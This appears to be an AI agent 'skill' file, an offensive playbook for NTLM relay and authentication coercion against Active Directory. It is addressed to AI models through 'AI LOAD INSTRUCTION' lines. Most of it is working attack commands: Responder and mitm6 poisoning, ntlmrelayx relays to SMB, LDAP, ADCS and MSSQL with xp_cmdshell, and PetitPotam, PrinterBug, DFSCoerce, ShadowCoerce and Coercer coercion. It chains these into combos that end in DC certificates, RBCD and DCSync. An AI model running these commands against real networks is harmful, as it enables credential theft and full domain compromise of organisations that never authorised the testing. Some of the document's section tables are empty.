Ntlm Relay Coercion

SKILL: NTLM Relay and Authentication Coercion — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert NTLM relay and coercion techniques. Covers relay to SMB/LDAP/HTTP/MSSQL, signing requirements, Responder poisoning, mitm6, cross-protocol relay, WebDAV coercion, and all major coercion methods. Base models miss signing/EPA requirements and cross-protocol relay constraints.

0. RELATED ROUTING

Before going deep, consider loading:

• active-directory-certificate-services for ESC8 (relay to ADCS enrollment)
• active-directory-acl-abuse for ACL modification via LDAP relay (RBCD, shadow creds)
• active-directory-kerberos-attacks for Kerberos attacks after relay success
• windows-lateral-movement for post-relay lateral movement

Advanced Reference

Also load COERCION_METHODS.md when you need:

• Detailed coercion method comparison (PetitPotam, PrinterBug, DFSCoerce, etc.)
• RPC function-level details and prerequisites
• Coercer tool usage and discovery

---

1. NTLM RELAY FUNDAMENTALS

Victim          Attacker (relay)         Target
  │                 │                      │
  │── NTLM Auth ──→│                      │  (1) Victim authenticates (coerced/poisoned)
  │                 │── Forward Auth ─────→│  (2) Attacker relays to target
  │                 │←─ Challenge ──────── │  (3) Target sends challenge
  │←─ Challenge ────│                      │  (4) Attacker forwards challenge to victim
  │── Response ────→│                      │  (5) Victim computes response
  │                 │── Forward Response ─→│  (6) Attacker relays response to target
  │                 │←─ Authenticated! ────│  (7) Target accepts → attacker has session

NTLMv1 vs NTLMv2

---

2. RELAY TARGET MATRIX

Signing Check

# Check SMB signing on target
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# Outputs hosts WITHOUT required SMB signing

# Nmap SMB signing check
nmap -p 445 --script smb2-security-mode TARGET_RANGE

---

3. RESPONDER — CREDENTIAL CAPTURE

LLMNR/NBT-NS/WPAD/mDNS Poisoning

# Start Responder (capture mode — don't relay, just capture hashes)
responder -I eth0 -dwP

# Analyze mode (passive, no poisoning)
responder -I eth0 -A

# Key protocols poisoned:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137)  — NetBIOS Name Service
# WPAD              — Web Proxy Auto-Discovery (proxy config)
# mDNS (UDP 5353)   — Multicast DNS

Responder + Relay (Don't Capture, Relay Instead)

# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off

# Start Responder for poisoning only
responder -I eth0 -dwP

# Start ntlmrelayx for relay
ntlmrelayx.py -tf targets.txt -smb2support

---

4. NTLMRELAYX — RELAY EXECUTION

Relay to SMB (Admin Execution)

# Execute command on targets (requires admin privs on target)
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Dump SAM hashes
ntlmrelayx.py -tf targets.txt -smb2support

# Interactive SOCKS proxy (maintain sessions)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user

Relay to LDAP (ACL Modification)

# Automatic RBCD (delegate-access)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Escalate via shadow credentials
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support

# Add computer account
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support

# Dump domain info
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain

Relay to ADCS HTTP (ESC8)

ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# Use with coercion to relay DC auth → get DC certificate

Relay to MSSQL

ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"

---

5. MITM6 — IPv6 DNS TAKEOVER

# mitm6 exploits IPv6 auto-configuration to become DNS server
mitm6 -d domain.com

# Combined with ntlmrelayx
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support

# Flow:
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
# 2. Victim queries WPAD → attacker responds
# 3. NTLM auth triggered → relayed to LDAP
# 4. RBCD or shadow credentials set on victim computer

---

6. CROSS-PROTOCOL RELAY

SMB → LDAP

Capture SMB authentication, relay to LDAP (requires no LDAP signing enforcement).

# Coerce SMB auth from DC, relay to LDAP on same or different DC
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support

# Trigger coercion (attacker receives SMB auth)
PetitPotam.py ATTACKER_IP DC01_IP

Limitation: SMB → LDAP relay fails if the source uses SMB signing negotiation that indicates relay.

WebDAV → LDAP

WebDAV from workstations sends NTLM over HTTP → relay to LDAP (no signing issues).

# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Coerce via WebDAV (workstation must have WebClient service running)
# Use @ATTACKER_PORT format to force WebDAV
PetitPotam.py ATTACKER@80/test WORKSTATION_IP

---

7. WEBDAV-BASED COERCION

WebClient service (WebDAV) converts SMB-type coercion to HTTP-based NTLM.

# Check if WebClient is running (port 80 listener or service query)
crackmapexec smb TARGET -u user -p pass -M webdav

# Start WebDAV coercion (from workstation, not server)
# Force target to authenticate via HTTP:
# Use UNC path format: \\ATTACKER@PORT\share

Key advantage: HTTP-based NTLM avoids SMB signing requirements.

---

8. NTLM RELAY DECISION TREE

Want to relay NTLM authentication
│
├── What auth can you capture?
│   ├── Responder poisoning (passive, wait for queries)
│   ├── mitm6 (DHCPv6 DNS takeover, periodic)
│   └── Active coercion → load COERCION_METHODS.md
│
├── What target to relay to?
│   │
│   ├── Need code execution?
│   │   ├── SMB target without signing → ntlmrelayx to SMB (§4)
│   │   └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
│   │
│   ├── Need domain escalation?
│   │   ├── LDAP signing not enforced?
│   │   │   ├── Relay to LDAP → RBCD (§4)
│   │   │   ├── Relay to LDAP → shadow credentials (§4)
│   │   │   └── Relay to LDAP → add computer + delegate (§4)
│   │   └── LDAP signing enforced?
│   │       └── Relay to ADCS HTTP (ESC8) → certificate (§4)
│   │
│   └── Need certificate?
│       └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
│
├── Source is SMB-based?
│   ├── Target is SMB → check signing (§2)
│   ├── Target is LDAP → may work (cross-protocol, §6)
│   └── Target is HTTP → works (cross-protocol)
│
├── Source is HTTP-based (WebDAV)?
│   └── Relay to any target (no signing issues, §6/§7)
│
└── Relay fails?
    ├── Check signing requirements (§2)
    ├── Check EPA/channel binding
    ├── Try cross-protocol (SMB → LDAP)
    └── Try WebDAV coercion (avoids SMB signing)

Authentication Coercion Methods

AI LOAD INSTRUCTION: Load this for detailed authentication coercion method comparison, RPC function-level details, and the Coercer tool usage. Assumes the main SKILL.md is already loaded for NTLM relay fundamentals.

---

1. COERCION METHODS MATRIX

---

2. PETITPOTAM — MS-EFSR ABUSE

Unauthenticated (Pre-Patch / Misconfigured)

# Original PetitPotam — unauthenticated
PetitPotam.py LISTENER_IP TARGET_IP

# Specific EFS functions:
PetitPotam.py -method EfsRpcOpenFileRaw LISTENER_IP TARGET_IP
PetitPotam.py -method EfsRpcEncryptFileSrv LISTENER_IP TARGET_IP

Authenticated

# With credentials (required on patched systems)
PetitPotam.py -u user -p password -d domain.com LISTENER_IP TARGET_IP

EFS RPC Function Variants

---

3. PRINTERBUG — MS-RPRN (SPOOLSAMPLE)

Prerequisites

• Print Spooler service running on target
• Valid domain credentials

# SpoolSample (Windows)
SpoolSample.exe TARGET_HOST LISTENER_HOST

# printerbug.py (Impacket)
printerbug.py DOMAIN/user:password@TARGET_IP LISTENER_IP

# Dementor (Python)
python3 dementor.py -d domain.com -u user -p password LISTENER_IP TARGET_IP

Check If Spooler Is Running

# From Linux
rpcdump.py DOMAIN/user:pass@TARGET_IP | grep -i spoolss

# CrackMapExec
crackmapexec smb TARGET_IP -u user -p pass -M spooler

---

4. DFSCOERCE — MS-DFSNM

# DFSCoerce
python3 dfscoerce.py -u user -p password -d domain.com LISTENER_IP TARGET_IP

# Specific functions
python3 dfscoerce.py -u user -p password -d domain.com \
  -method NetrDfsRemoveStdRoot LISTENER_IP TARGET_IP

MS-DFSNM Functions

---

5. SHADOWCOERCE — MS-FSRVP

Exploits the File Server VSS Agent Service (requires the service to be running — common on file servers).

# ShadowCoerce
python3 shadowcoerce.py -u user -p password -d domain.com LISTENER_IP TARGET_IP

MS-FSRVP Functions

---

6. COERCER — AUTOMATED DISCOVERY TOOL

Coercer automates testing all known coercion methods.

# Scan for available coercion methods on target
coercer scan -u user -p password -d domain.com -t TARGET_IP

# Coerce using all available methods
coercer coerce -u user -p password -d domain.com -t TARGET_IP -l LISTENER_IP

# Specific method
coercer coerce -u user -p password -d domain.com -t TARGET_IP -l LISTENER_IP \
  --filter-method-name EfsRpcOpenFileRaw

# Unauthenticated scan
coercer scan -t TARGET_IP

# Filter by protocol
coercer coerce -u user -p password -d domain.com -t TARGET_IP -l LISTENER_IP \
  --filter-protocol-name MS-EFSR

Coercer Output Interpretation

[+] MS-EFSR - EfsRpcOpenFileRaw      → Listening? Check relay!
[+] MS-RPRN - RpcRemoteFindFirst...   → Spooler running, exploitable
[-] MS-FSRVP - IsPathShadowCopied    → Service not running
[-] MS-DFSNM - NetrDfsRemoveStdRoot  → Access denied (non-DC?)

---

7. COERCION + RELAY ATTACK COMBINATIONS

Combo 1: PetitPotam + LDAP Relay → RBCD

# Terminal 1: Start relay
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support

# Terminal 2: Coerce DC01
PetitPotam.py ATTACKER_IP DC01_IP

# Result: RBCD set on DC01$ → impersonate admin to DC01
getST.py -spn cifs/DC01.domain.com -impersonate administrator DOMAIN/'EVIL$':'pass'

Combo 2: PrinterBug + Unconstrained Delegation

# On compromised host with unconstrained delegation:
Rubeus.exe monitor /interval:5 /nowrap /targetuser:DC01$

# Trigger from anywhere:
printerbug.py DOMAIN/user:pass@DC01 UNCONSTRAINED_HOST

# Capture DC01$ TGT → DCSync

Combo 3: PetitPotam + ADCS Relay (ESC8)

# Terminal 1: Relay to ADCS
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# Terminal 2: Coerce DC
PetitPotam.py ATTACKER_IP DC01_IP

# Result: Certificate for DC01$ → authenticate → DCSync
certipy auth -pfx dc01.pfx -dc-ip DC02_IP

Combo 4: mitm6 + LDAP Relay → Shadow Credentials

# Terminal 1: mitm6 DNS takeover
mitm6 -d domain.com

# Terminal 2: Relay to LDAP with shadow credentials
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --shadow-credentials -smb2support

# Result: Shadow credential added on victim machine → PKINIT auth

Combo 5: WebDAV Coercion + LDAP Relay (Bypass SMB Signing)

# Terminal 1: Start relay
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Terminal 2: Coerce via WebDAV (HTTP-based, no SMB signing issue)
PetitPotam.py ATTACKER@80/test WORKSTATION_IP
# Workstation's WebClient service sends HTTP-based NTLM → clean relay

---

8. COERCION METHOD SELECTION TREE

Need to coerce authentication
│
├── Target is a Domain Controller?
│   ├── PetitPotam (unauthenticated if unpatched)
│   ├── PetitPotam (authenticated — most reliable)
│   ├── DFSCoerce (if DFS role installed)
│   └── PrinterBug (if Spooler running — rare on modern DCs)
│
├── Target is a file server?
│   ├── ShadowCoerce (if FSRVP agent running)
│   ├── PetitPotam (authenticated)
│   └── PrinterBug (if Spooler running)
│
├── Target is a workstation?
│   ├── PrinterBug (Spooler usually running)
│   ├── PetitPotam (authenticated)
│   └── WebDAV coercion (if WebClient running — HTTP-based!)
│
├── No creds available?
│   ├── PetitPotam unauthenticated (unpatched systems only)
│   ├── Responder poisoning (passive capture)
│   └── mitm6 (DHCPv6 DNS takeover)
│
├── Need HTTP-based NTLM (bypass SMB signing)?
│   ├── WebDAV coercion from workstation
│   └── mitm6 WPAD trigger
│
└── Not sure what works?
    └── Use Coercer tool: coercer scan -t TARGET